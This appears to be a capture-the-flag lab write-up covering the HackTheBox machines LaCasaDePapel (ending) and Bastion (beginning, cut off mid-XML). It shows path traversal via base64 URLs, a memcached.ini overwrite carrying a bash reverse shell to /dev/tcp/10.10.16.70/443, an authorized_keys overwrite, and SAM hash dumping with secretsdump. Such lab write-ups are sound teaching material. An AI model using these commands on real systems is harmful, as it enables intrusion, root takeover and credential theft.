I can use openssl to look at the TLS configuration on this site. There’s a section on accepted certificates:

root@kali# openssl s_client -connect 10.10.10.131:443
CONNECTED(00000003)
depth=0 CN = lacasadepapel.htb, O = La Casa De Papel
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = lacasadepapel.htb, O = La Casa De Papel
verify return:1
---
Certificate chain
 0 s:CN = lacasadepapel.htb, O = La Casa De Papel
   i:CN = lacasadepapel.htb, O = La Casa De Papel
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC6jCCAdICCQDISiE8M6B29jANBgkqhkiG9w0BAQsFADA3MRowGAYDVQQDDBFs
YWNhc2FkZXBhcGVsLmh0YjEZMBcGA1UECgwQTGEgQ2FzYSBEZSBQYXBlbDAeFw0x
OTAxMjcwODM1MzBaFw0yOTAxMjQwODM1MzBaMDcxGjAYBgNVBAMMEWxhY2FzYWRl
cGFwZWwuaHRiMRkwFwYDVQQKDBBMYSBDYXNhIERlIFBhcGVsMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/5vJpuaxJF3A5q2rV
QJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e8DR9ksBQYyXqOZZ8
/rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsOhl4+KB4cM4hNhE5B
4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVzmhlHVypqsfS9rKUV
ESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55ZD66vQBSkN2PwBeiR
PBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wMZwIDAQABMA0GCSqG
SIb3DQEBCwUAA4IBAQCuo8yzORz4pby9tF1CK/4cZKDYcGT/wpa1v6lmD5CPuS+C
hXXBjK0gPRAPhpF95DO7ilyJbfIc2xIRh1cgX6L0ui/SyxaKHgmEE8ewQea/eKu6
vmgh3JkChYqvVwk7HRWaSaFzOiWMKUU8mB/7L95+mNU7DVVUYB9vaPSqxqfX6ywx
BoJEm7yf7QlJTH3FSzfew1pgMyPxx0cAb5ctjQTLbUj1rcE9PgcSki/j9WyJltkI
EqSngyuJEu3qYGoM0O5gtX13jszgJP+dA3vZ1wqFjKlWs2l89pb/hwRR2raqDwli
MgnURkjwvR1kalXCvx9cST6nCkxF2TxlmRpyNXy4
-----END CERTIFICATE-----
subject=CN = lacasadepapel.htb, O = La Casa De Papel

issuer=CN = lacasadepapel.htb, O = La Casa De Papel

---
Acceptable client certificate CA names
CN = lacasadepapel.htb, O = La Casa De Papel
Client Certificate Types: RSA sign, DSA sign, ECDSA sign
Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Shared Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224
Peer signing digest: SHA512
Peer signature type: RSA
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 1553 bytes and written 442 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES128-GCM-SHA256
    Session-ID: B1DBFEEEFA037FDC8BAE800DE2549CF10353955397452FA8A4765DEEBEA0E50F
    Session-ID-ctx:
    Master-Key: C1D1FA4F1BA4C2FABDE34E8D95424C5B57A023D4CC5888AAF0822B4FC8121D81D059D9F5DD4A5388237D277EC70779C6
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 4c 5a 06 97 cb 93 0b 9f-e7 5c 1c 9a 34 2f 89 59   LZ.......\..4/.Y
    0010 - 0a b9 46 16 b7 8c 1c de-2f 90 8d a0 7e 1b b4 ff   ..F...../...~...
    0020 - 6d 38 47 f2 76 99 df 08-bb 31 cd 63 ef 2d 6b a7   m8G.v....1.c.-k.
    0030 - 37 22 d5 12 a2 00 00 76-81 64 6e 4c 5c 78 5e 13   7".....v.dnL\x^.
    0040 - d2 09 c5 dc f1 51 60 54-18 4f ad 10 df 90 f6 f1   .....Q`T.O......
    0050 - 41 98 10 ba 41 cb c7 1e-f6 c7 39 33 af df 8b ff   A...A.....93....
    0060 - 03 03 63 ea a3 3d 50 57-9a ac fe d3 64 ed 6b cb   ..c..=PW....d.k.
    0070 - 7c e3 0e a5 b9 c3 e1 5f-69 69 48 00 1d 75 40 1d   |......_iiH..u@.
    0080 - 9d 46 4a f7 be 04 25 d8-9c ee fa d3 f7 d8 92 24   .FJ...%........$
    0090 - 63 2e 1c 6d 5a 3e 34 9a-9b be 4b e5 53 7f 52 7d   c..mZ>4...K.S.R}
    00a0 - cc b8 53 8e d8 8f ec ec-eb ae 56 bd 0c 13 49 89   ..S.......V...I.
    00b0 - 03 57 97 0f 89 32 f3 84-d6 e9 ab 36 c2 b0 fd 05   .W...2.....6....
    00c0 - 40 94 c9 c2 d4 59 20 4c-32 06 51 68 2e 51 55 35   @....Y L2.Qh.QU5

    Start Time: 1554214579
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: no
---

I’ll use the key and this information to make a certificate for myself:

root@kali# openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out 0xdf.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:La Casa De Papel
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:lacasadepapel.htb
Email Address []:
root@kali# openssl pkcs12 -export -in 0xdf.pem -inkey ca.key -out 0xdf.p12
Enter Export Password:
Verifying - Enter Export Password:

Now I’ll load it into firefox by going into preferences, searching for certificates, hitting “View Certificates”, and then hitting “Import…” and selecting my .p12. Now, with Burp off, I can reload the page, and it pops up asking me to confirm I want to send my certificate:

1554215724810

After I click ok, I see the site, now with a “Private Area”:

1554215018465

This part could be a bit finicky. If the page doesn’t prompt for the certificate on reload, try Firefox File -> New Private Window

Path Traversal

Once I click a season, I get sent to https://lacasadepapel.htb/?path=SEASON-2:

1554215054468

If I click on one of the avis, it takes me to https://lacasadepapel.htb/file/U0VBU09OLTIvMDEuYXZp. That base64 on the end of the path is just the file name:

root@kali# echo U0VBU09OLTIvMDEuYXZp | base64 -d
SEASON-2/01.avi

I can also browser around. Visit the parent directory shows what looks like a home dir https://lacasadepapel.htb/?path=..:

1554215178613

I can get user.txt, just remembering to base64 encode the path, which I can do in a one-liner here:

root@kali# curl -k https://10.10.10.131/file/$(echo -n "../user.txt" | base64)
4dcbd172...

In bash$() means run what’s in here, and put the output in its place. So in this case, I’m base64 encoding the path, and then using the result to build the url to curl.

Find Private Key

In the homedir for berlin, there’s a .ssh directory:

1563524844410

I’ll pull these files back. I’ll notice that the public key doesn’t match what’s in the authorized_keys file:

root@kali# curl -k https://10.10.10.131/file/$(echo -n "../.ssh/authorized_keys" | base64)
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsDHKXtzjeyuWjw42RbtoDy2c6lWdtfEzsmqmHrbJDY2hDcKWekWouWhe/NTCQFim6weKtsEdTzh0Qui+6jKc8/ZtpKzHrXiSXSe48JwpG7abmp5iCihzDozJqggBNoAQrvZqBhg6svcKh8F0kTnxUkBQgBm4kjOPteN+TfFoNIod7DQ72/N25D/lVThCLcStbPkR8fgBz7TGuTTAsNFXVwjlsgwi2qUF9UM6C1JkMBk5Y9ssDHiu4R35R5eCl4EEZLL946n/Gd5QB7pmIRHMkmt2ztOaKU4xZthurZpDXt+Et+Rm3dAlAZLO/5dwjqIfmEBS1eQ4sT8hlUkuLvjUDw== thek@ThekMac.local
root@kali# curl -k https://10.10.10.131/file/$(echo -n "../.ssh/id_rsa.pub" | base64)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0fpiC6mLsmGN1sNeGDZ/3GbPFoM13HESKgCAfYaNR5Rzhwl5N9T/JaDW/LHV1epqd/ADNg5AtSA73+sNsj3LnWtNCcuEeyn+IWIZ28M7mJnAs2vCbNUvGAZz6Y1pzerEdy4fHur7NAcHw19T+rPIAvb/GxGTME4NGDbW2xWqdNXzdPwIVIFQ7aPOK0cU2O9htpw/4mf1DljYdF0TTcNacAknvOThJZaJwzeuK65jJ6pXo5gpugfCL4UH3hjHXFo8UY/tPSOcFTeaiVRGEoqiU2pjvw8TmpimU7947kf/u8pusXsnlW2xWm8ZCyaOpSFAr8ahisy50iFx9BIxSemBZdi0KcikFrndpj9+XRdikv1rVlCHWIabiiV5Wdk2+oxriZv7yQLyTdYObD2mr9bd4ZVDpd7KP/iRQQ17VDzGP0EhctknBdge0AItLg9oplJFoVKORz/br9Pb3nx/agGokt/6jGLJ2BxMja8Lfg5jDBLtw5xKxLgeK9QLorugkkfDedQ2gDaB7dzCI7ps0esQowlY6symn1Qf0FtD+7uTkCntAXzIF+t0LrgQBTPJkldZ17U2FI2OIjSsGrMI9lAZI4sQgUDDNTRswi4m7gkhA4Af7e1+iHxxxR01yZ8fstpPukXdVjDKg8yjAukDx8bgVcbK+jKt95NcLoZjT7U1VQ== berlin@lacasadepapel.htb

I tried to access the authorized_keys files for all the other users, but wasn’t able to.

SSH

Still, I have this private key, so I’ll try to see if it logs in as any of the user I know of on the box. when I get to professor, it works:

Priv: professor –> root

Enumeration

In professor’s homedir, there are two files about memcache

root@kali:~/htb/casadepapel# ssh -i id_rsa professor@10.10.10.131

_ ____ ____ ____ _ 

| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|       

lacasadepapel [~]$ id
uid=1002(professor) gid=1002(professor) groups=1002(professor)
lacasadepapel [~]$ ps -ef | grep node
 3267 dali      0:00 /usr/bin/node /home/dali/server.js
 3268 nobody    0:03 /usr/bin/node /home/oslo/server.js
 3269 berlin    0:01 /usr/bin/node /home/berlin/server.js
 3270 nobody    0:07 /usr/bin/node /home/nairobi/server.js
21282 nobody    0:04 /usr/bin/node /home/professor/memcached.js
21291 professo  0:00 grep node
lacasadepapel [~]$ ls -l memcached.ini 
-rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
lacasadepapel [~]$ ls
memcached.ini  memcached.js   node_modules
lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x    4 professo professo      4096 Mar  6  2019 .
drwxr-xr-x    7 root     root          4096 Feb 16  2019 ..
lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31  2019 .ssh
-rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29  2019 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29  2019 node_modules
lacasadepapel [~]$ echo test >> memcached.ini 
-ash: can't create memcached.ini: Permission denied
lacasadepapel [~]$ cp memcached.ini /dev/shm/
lacasadepapel [~]$ rm memcached.ini
rm: remove 'memcached.ini'? y
lacasadepapel [~]$ echo -e "[program:memcached]\ncommand = bash -c 'bash -i  >& /dev/tcp/10.10.16.70/
443 0>&1'" > memcached.ini
lacasadepapel [~]$ cat memcached.ini 
[program:memcached]
command = bash -c 'bash -i  >& /dev/tcp/10.10.16.70/443 0>&1'
lacasadepapel [~]$ ls -l memcached.ini 
-rw-r--r--    1 professo professo        82 Sep 23 13:07 memcached.ini

Now just wait a minute, and get a shell:

root@kali:~/htb# rlwrap nc -lvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from lacasadepapel.htb [10.10.10.131] 48656
bash: cannot set terminal process group (21645): Not a tty
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4# pwd
pwd
/
bash-4.4# cd /root
cd /root
bash-4.4# ls
ls
root.txt
bash-4.4# cat root.txt
cat root.txt
586*****511
bash-4.4# 

Unintented Initial Access

From the psy shell, there’s an alternative path to initial access.

Enumeration

I need to find two things while enumerating.

First, if I look at /proc/net/tcp, I can get the information like a netstat:

echo file_get_contents("/proc/net/tcp")
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 6507 1 ffff8d247baad000 100 0 0 10 0                      
   1: 0100007F:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 4587 1 ffff8d247a2f6000 100 0 0 10 0                      
   2: 0100007F:2BCB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   102        0 6430 1 ffff8d247baac000 100 0 0 10 0                      
   3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 1938 1 ffff8d247a349800 100 0 0 10 0                      
   4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 6481 1 ffff8d247baae800 100 0 0 10 0                      
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4561 1 ffff8d247a2f3000 100 0 0 10 0                      
   6: 00000000:1838 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 4584 1 ffff8d247a2f5800 100 0 0 10 0                      
   7: 830A0A0A:1838 020E0A0A:C2BC 01 00000000:00000000 00:00000000 00000000  1000        0 11803 1 ffff8d247baae000 28 4 31 10 -1                    
   8: 830A0A0A:0016 020E0A0A:E31E 01 00000024:00000000 01:0000001D 00000000     0        0 12044 4 ffff8d247baaf000 29 4 27 10 -1                    
   9: 830A0A0A:0016 020E0A0A:E30A 01 00000000:00000000 02:0006F4CB 00000000     0        0 4638 2 ffff8d247baa9000 24 4 0 10 -1                      
  10: 830A0A0A:D08C 020E0A0A:01BB 01 00000000:00000000 00:00000000 00000000     0        0 8475 1 ffff8d247a2f2800 24 4 29 10 -1                     
  11: 830A0A0A:0016 020E0A0A:E30C 01 00000000:00000000 02:00072B93 00000000     0        0 4746 2 ffff8d247baa9800 25 4 25 10 -1

The first 7 are in state 0A, which is listening. Those translate to:

0.0.0.0:443
127.0.0.1:8000
127.0.0.1:11211
0.0.0.0:80
0.0.0.0:21
0.0.0.0:22
0.0.0.0:6200

The two local host ones are interesting and new.

Second, I can read into the .ssh directory of dali, and no other user:

scandir("/home/berlin/.ssh")
PHP Warning:  scandir(/home/berlin/.ssh): failed to open dir: Permission denied in phar://eval()'d code on line 1
scandir("/home/dali/.ssh")
=> [
     ".",
     "..",
     "authorized_keys",
     "known_hosts",
   ]
scandir("/home/nairobi/.ssh")
PHP Warning:  scandir(/home/nairobi/.ssh): failed to open dir: No such file or directory in phar://eval()'d code on line 1
scandir("/home/oslo/.ssh")
PHP Warning:  scandir(/home/oslo/.ssh): failed to open dir: No such file or directory in phar://eval()'d code on line 1
scandir("/home/professor/.ssh")
PHP Warning:  scandir(/home/professor/.ssh): failed to open dir: Permission denied in phar://eval()'d code on line 1

There is a public key in authorized_keys, but I don’t see the matching private key:

echo file_get_contents("/home/dali/.ssh/authorized_keys")
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsDHKXtzjeyuWjw42RbtoDy2c6lWdtfEzsmqmHrbJDY2hDcKWekWouWhe/NTCQFim6weKtsEdTzh0Qui+6jKc8/ZtpKzHrXiSXSe48JwpG7abmp5iCihzDozJqggBNoAQrvZqBhg6svcKh8F0kTnxUkBQgBm4kjOPteN+TfFoNIod7DQ72/N25D/lVThCLcStbPkR8fgBz7TGuTTAsNFXVwjlsgwi2qUF9UM6C1JkMBk5Y9ssDHiu4R35R5eCl4EEZLL946n/Gd5QB7pmIRHMkmt2ztOaKU4xZthurZpDXt+Et+Rm3dAlAZLO/5dwjqIfmEBS1eQ4sT8hlUkuLvjUDw== thek@ThekMac.local

I suspect this is a key the box creator used for access.

Overwrite authorized_keys

I can write to this file using this shell:

fwrite(fopen("/home/dali/.ssh/authorized_keys","w+"),"puckie");
=> 6
echo file_get_contents("/home/dali/.ssh/authorized_keys")
puckie

So I’ll put a public key for a pair I control in place:

fwrite(fopen("/home/dali/.ssh/authorized_keys","w+"),"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjXnSnXXfla4lGpKso7HVx+AWtmG5AGtdlr0T6TxpBPMm1AIxV2lfjbw8KMDpbnyE2tMUAiDY7TbP0C1FAzQwakT3vHR5aSU11Lot5ZbNBBwEnqUo3Bm5+O/xPtwDW5EVkD0byng/DqMFyXpnq1tT+vt9oqev8dZcsxzvrh+mX3mHGR8WrtZsQS7XSwAGZKGexeVkAFRwZtk3MHFyFqVUy7OGVoca6Pv5q/MWYJyHW27ylh8som7dnFnVaWggSImHhRqxlicH9x63CUz3WgmFSy+sZNeHfZaMSZTGJ85Qsfd42BdlTpQ/8r0VJhYIORMjYB2v1xaaHqXm6/LODtkWF root@kali");
=> 390

And get a shell:

root@kali:~/.ssh# ssh -i id_rsa.pub dali@10.10.10.131

_ ____ ____ ____ _ 
| | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| |
| | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ |
|_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_|
|_|

Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

Unfortunately, it’s still in psy.

Access LFI

But, with ssh, I can also forward ports. I’ll connect with a forwarder to redirect traffic on my local host port 8000 to port 8000 on LaCasaDePapel:

root@kali:~/.ssh# ssh -i id_rsa.pub dali@10.10.10.131 -L 8000:localhost:8000 -N

Now I can get to the section of the page with the LFI without making a certificate:

1563528617474

1563528673885

dali’s Shell

With a bash shell later, I can verify in the /etc/passwd file that running a shell as dali will give me psysh:

bash-4.4# grep dali /etc/passwd
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh

Credits to : https://0xdf.gitlab.io/2019/07/27/htb-lacasadepapel.html

Author: Jacco Straathof

 

HTB – Bastion

Let’s start off with our basic Nmap command to find out the open ports and services.

c:\PENTEST>nmap -Pn -sV -open 10.10.10.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-11 10:36 W. Europe Summer Time
Nmap scan report for 10.10.10.134
Host is up (0.015s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds

SMB Enumeration

c:\PENTEST>net use \\bastion.htb\IPC$
The password or user name is invalid for \\bastion.htb\IPC$.

Enter the username for 'bastion.htb': guest
Enter the password for bastion.htb:
The command completed successfully.


c:\PENTEST>net view \\bastion.htb
Shared resources at \\bastion.htb

Share name Type Used as Comment

-------------------------------------------------------------------------------
Backups Disk
The command completed successfully.


Backups Share

c:\PENTEST>net use z: \\bastion.htb\Backups
The command completed successfully.
c:\PENTEST>z:

Z:\>dir
 Volume in drive Z has no label.
 Volume Serial Number is 0CB3-C487

 Directory of Z:\

16/04/2019  12:02    <DIR>          .
16/04/2019  12:02    <DIR>          ..
16/04/2019  12:10               116 note.txt
22/02/2019  14:43                 0 SDT65CB.tmp
22/02/2019  14:44    <DIR>          WindowsImageBackup
               2 File(s)            116 bytes
               3 Dir(s)  11.305.340.928 bytes free
Z:\>type note.txt

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

 

A Windows Image Backup is likely to be large and the transfer will be slow (as the note warns). Rather than try to copy it over, I’m going to mount this share to my filesystem.

root@kali# mount -t cifs //10.10.10.134/backups /mnt -o user=,password=
root@kali# ls /mnt/
note.txt  SDT65CB.tmp  WindowsImageBackup

I’ll list all the files in the share:

root@kali# find /mnt/ -type f
/mnt/note.txt
/mnt/SDT65CB.tmp
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/BackupSpecs.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
/mnt/WindowsImageBackup/L4mpje-PC/Catalog/BackupGlobalCatalog
/mnt/WindowsImageBackup/L4mpje-PC/Catalog/GlobalCatalog
/mnt/WindowsImageBackup/L4mpje-PC/MediaId
/mnt/WindowsImageBackup/L4mpje-PC/SPPMetadataCache/{cd113385-65ff-4ea2-8ced-5630f6feca8f}

I see two disk image vhd files.

Mount vhd

I’m going to mount the virtual disk files and see what I can find in them. First, I’ll install guestmount with apt install libguestfs-tools, a tool for mounting virtual hard disk files on Linux.

Now, I’ll try to mount each of the two VHD files. The first one fails:

The second one works, providing access to what looks like a Windows file system root:

root@kali# guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt2/
root@kali# ls /mnt2/
'$Recycle.Bin'   autoexec.bat   config.sys  'Documents and Settings'   pagefile.sys   PerfLogs   ProgramData  'Program Files'   Recovery  'System Volume Information'   Users   Windows

Shell as l4mpje

Dump Hashes From Registry

With full access to the file system, I have access to the registry files. These files can be locked when the system is running, but I won’t have that issue on a mounted drive. In the config directory where the registry hives are stored, I’ll use secretsdump.py to dump the password hashes:

root@kali:/mnt2/Windows/System32/config# secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up... 

I’ll also notice that secretsdump.py identified a default password (or autolongon password) of “bureaulampje” for an unknown user.

Crack Hash

Submitting the NTLM hashes to crackstation returns the same password for the l4mpje account:

1557434097548

SSH

Seeing ssh on a Windows box is a bit unusual, but this seems like a good chance to use.

c:\PENTEST>ssh l4mpje@10.10.10.134
l4mpje@10.10.10.134's password: bureaulampje
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
l4mpje@BASTION C:\Users\L4mpje>cd Desktop
l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
9bf*****6cd

Privesc to administrator

Enumeration

In looking at the installed programs on the host, mRemoteNG jumps out as interesting:

PS C:\Program Files (x86)> dir


    Directory: C:\Program Files (x86)


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        16-7-2016     15:23                Common Files
d-----        23-2-2019     09:38                Internet Explorer
d-----        16-7-2016     15:23                Microsoft.NET
da----        22-2-2019     14:01                mRemoteNG
d-----        23-2-2019     10:22                Windows Defender
d-----        23-2-2019     09:38                Windows Mail
d-----        23-2-2019     10:22                Windows Media Player
d-----        16-7-2016     15:23                Windows Multimedia Platform
d-----        16-7-2016     15:23                Windows NT
d-----        23-2-2019     10:22                Windows Photo Viewer
d-----        16-7-2016     15:23                Windows Portable Devices
d-----        16-7-2016     15:23                WindowsPowerShell

mRemoteNG is a remote connection management tool, and it allows the user to save passwords for various types of connections. There is a file in the user’s AppData directory, confCons.xml, that holds that information:

l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>dir                                                                    
 Volume in drive C has no label.                                                                                                
 Volume Serial Number is 0CB3-C487                                                                                              

 Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG                                                                         

22-02-2019  15:03    <DIR>          .                                                                                           
22-02-2019  15:03    <DIR>          ..                                                                                          
22-02-2019  15:03             6.316 confCons.xml                                                                                
22-02-2019  15:02             6.194 confCons.xml.20190222-1402277353.backup                                                     
22-02-2019  15:02             6.206 confCons.xml.20190222-1402339071.backup                                                     
22-02-2019  15:02             6.218 confCons.xml.20190222-1402379227.backup                                                     
22-02-2019  15:02             6.231 confCons.xml.20190222-1403070644.backup                                                     
22-02-2019  15:03             6.319 confCons.xml.20190222-1403100488.backup                                                     
22-02-2019  15:03             6.318 confCons.xml.20190222-1403220026.backup                                                     
22-02-2019  15:03             6.315 confCons.xml.20190222-1403261268.backup                                                     
22-02-2019  15:03             6.316 confCons.xml.20190222-1403272831.backup                                                     
22-02-2019  15:03             6.315 confCons.xml.20190222-1403433299.backup                                                     
22-02-2019  15:03             6.316 confCons.xml.20190222-1403486580.backup                                                     
22-02-2019  15:03                51 extApps.xml                                                                                 
22-02-2019  15:03             5.217 mRemoteNG.log                                                                               
22-02-2019  15:03             2.245 pnlLayout.xml                                                                               
22-02-2019  15:01    <DIR>          Themes                                                                                      
              14 File(s)         76.577 bytes                                                                                   
               3 Dir(s)  11.383.193.600 bytes free  

It’s xml, with encrypted versions of the passwords stored in the file:

<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="9+/QC0ASX6vyu8eqAnoWf9rAqVvP8vuwonKagk7aY68lTF3pcqbgO0Lcj6E7xUwo6V47gl93CKdDTXKpYt0wOFk6" ConfVersion="2.6">
